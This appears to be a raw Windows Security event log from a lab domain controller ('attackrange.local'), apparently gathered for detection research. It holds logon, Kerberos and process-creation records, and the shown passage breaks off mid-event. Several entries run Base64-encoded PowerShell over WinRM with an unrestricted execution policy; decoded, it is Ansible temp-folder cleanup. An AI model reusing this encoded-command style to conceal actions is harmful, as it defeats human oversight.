-Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252634 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x16D01B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252633 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x16D055 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252632 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x16D055 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64657 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252631 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x16D055 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252630 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x16D01B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64656 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252629 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x16D01B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252628 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x16CE6B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252627 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x16CE6B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64655 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252626 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x16CE6B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252722 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x168BE9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf30 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf2c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANgAwADEALgAxADIAMAAzADUAMgAtADQANgA5ADcANAAzADAAMQA4ADkANAA2ADUAMQAiACAALQBGAG8AcgBjAGUAIAAtAFIAZQBjAHUAcgBzAGUAOwAKAEkAZgAgACgALQBuAG8AdAAgACQAPwApACAAewAgAEkAZgAgACgARwBlAHQALQBWAGEAcgBpAGEAYgBsAGUAIABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApACAAewAgAGUAeABpAHQAIAAkAEwAQQBTAFQARQBYAEkAVABDAE8ARABFACAAfQAgAEUAbABzAGUAIAB7ACAAZQB4AGkAdAAgADEAIAB9ACAAfQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252721 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17023C - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252720 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17023C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {462EC796-07EC-D979-0D81-A49ABFD4835E} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252719 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {462EC796-07EC-D979-0D81-A49ABFD4835E} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252718 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {462EC796-07EC-D979-0D81-A49ABFD4835E} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252717 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252716 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x168BE9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf2c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x4a8 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAGcAQQB3AEEARABFAEEATABnAEEAeABBAEQASQBBAE0AQQBBAHoAQQBEAFUAQQBNAGcAQQB0AEEARABRAEEATgBnAEEANQBBAEQAYwBBAE4AQQBBAHoAQQBEAEEAQQBNAFEAQQA0AEEARABrAEEATgBBAEEAMgBBAEQAVQBBAE0AUQBBAGkAQQBDAEEAQQBMAFEAQgBHAEEARwA4AEEAYwBnAEIAagBBAEcAVQBBAEkAQQBBAHQAQQBGAEkAQQBaAFEAQgBqAEEASABVAEEAYwBnAEIAegBBAEcAVQBBAE8AdwBBAEsAQQBFAGsAQQBaAGcAQQBnAEEAQwBnAEEATABRAEIAdQBBAEcAOABBAGQAQQBBAGcAQQBDAFEAQQBQAHcAQQBwAEEAQwBBAEEAZQB3AEEAZwBBAEUAawBBAFoAZwBBAGcAQQBDAGcAQQBSAHcAQgBsAEEASABRAEEATABRAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEASQBBAEIATQBBAEUARQBBAFUAdwBCAFUAQQBFAFUAQQBXAEEAQgBKAEEARgBRAEEAUQB3AEIAUABBAEUAUQBBAFIAUQBBAGcAQQBDADAAQQBSAFEAQgB5AEEASABJAEEAYgB3AEIAeQBBAEUARQBBAFkAdwBCADAAQQBHAGsAQQBiAHcAQgB1AEEAQwBBAEEAVQB3AEIAcABBAEcAdwBBAFoAUQBCAHUAQQBIAFEAQQBiAEEAQgA1AEEARQBNAEEAYgB3AEIAdQBBAEgAUQBBAGEAUQBCAHUAQQBIAFUAQQBaAFEAQQBwAEEAQwBBAEEAZQB3AEEAZwBBAEcAVQBBAGUAQQBCAHAAQQBIAFEAQQBJAEEAQQBrAEEARQB3AEEAUQBRAEIAVABBAEYAUQBBAFIAUQBCAFkAQQBFAGsAQQBWAEEAQgBEAEEARQA4AEEAUgBBAEIARgBBAEMAQQBBAGYAUQBBAGcAQQBFAFUAQQBiAEEAQgB6AEEARwBVAEEASQBBAEIANwBBAEMAQQBBAFoAUQBCADQAQQBHAGsAQQBkAEEAQQBnAEEARABFAEEASQBBAEIAOQBBAEMAQQBBAGYAUQBBAD0A - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252715 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x168BE9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4a8 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x134c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAGcAQQB3AEEARABFAEEATABnAEEAeABBAEQASQBBAE0AQQBBAHoAQQBEAFUAQQBNAGcAQQB0AEEARABRAEEATgBnAEEANQBBAEQAYwBBAE4AQQBBAHoAQQBEAEEAQQBNAFEAQQA0AEEARABrAEEATgBBAEEAMgBBAEQAVQBBAE0AUQBBAGkAQQBDAEEAQQBMAFEAQgBHAEEARwA4AEEAYwBnAEIAagBBAEcAVQBBAEkAQQBBAHQAQQBGAEkAQQBaAFEAQgBqAEEASABVAEEAYwBnAEIAegBBAEcAVQBBAE8AdwBBAEsAQQBFAGsAQQBaAGcAQQBnAEEAQwBnAEEATABRAEIAdQBBAEcAOABBAGQAQQBBAGcAQQBDAFEAQQBQAHcAQQBwAEEAQwBBAEEAZQB3AEEAZwBBAEUAawBBAFoAZwBBAGcAQQBDAGcAQQBSAHcAQgBsAEEASABRAEEATABRAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEASQBBAEIATQBBAEUARQBBAFUAdwBCAFUAQQBFAFUAQQBXAEEAQgBKAEEARgBRAEEAUQB3AEIAUABBAEUAUQBBAFIAUQBBAGcAQQBDADAAQQBSAFEAQgB5AEEASABJAEEAYgB3AEIAeQBBAEUARQBBAFkAdwBCADAAQQBHAGsAQQBiAHcAQgB1AEEAQwBBAEEAVQB3AEIAcABBAEcAdwBBAFoAUQBCAHUAQQBIAFEAQQBiAEEAQgA1AEEARQBNAEEAYgB3AEIAdQBBAEgAUQBBAGEAUQBCAHUAQQBIAFUAQQBaAFEAQQBwAEEAQwBBAEEAZQB3AEEAZwBBAEcAVQBBAGUAQQBCAHAAQQBIAFEAQQBJAEEAQQBrAEEARQB3AEEAUQBRAEIAVABBAEYAUQBBAFIAUQBCAFkAQQBFAGsAQQBWAEEAQgBEAEEARQA4AEEAUgBBAEIARgBBAEMAQQBBAGYAUQBBAGcAQQBFAFUAQQBiAEEAQgB6AEEARwBVAEEASQBBAEIANwBBAEMAQQBBAFoAUQBCADQAQQBHAGsAQQBkAEEAQQBnAEEARABFAEEASQBBAEIAOQBBAEMAQQBBAGYAUQBBAD0A - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252714 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17007D - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252713 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - 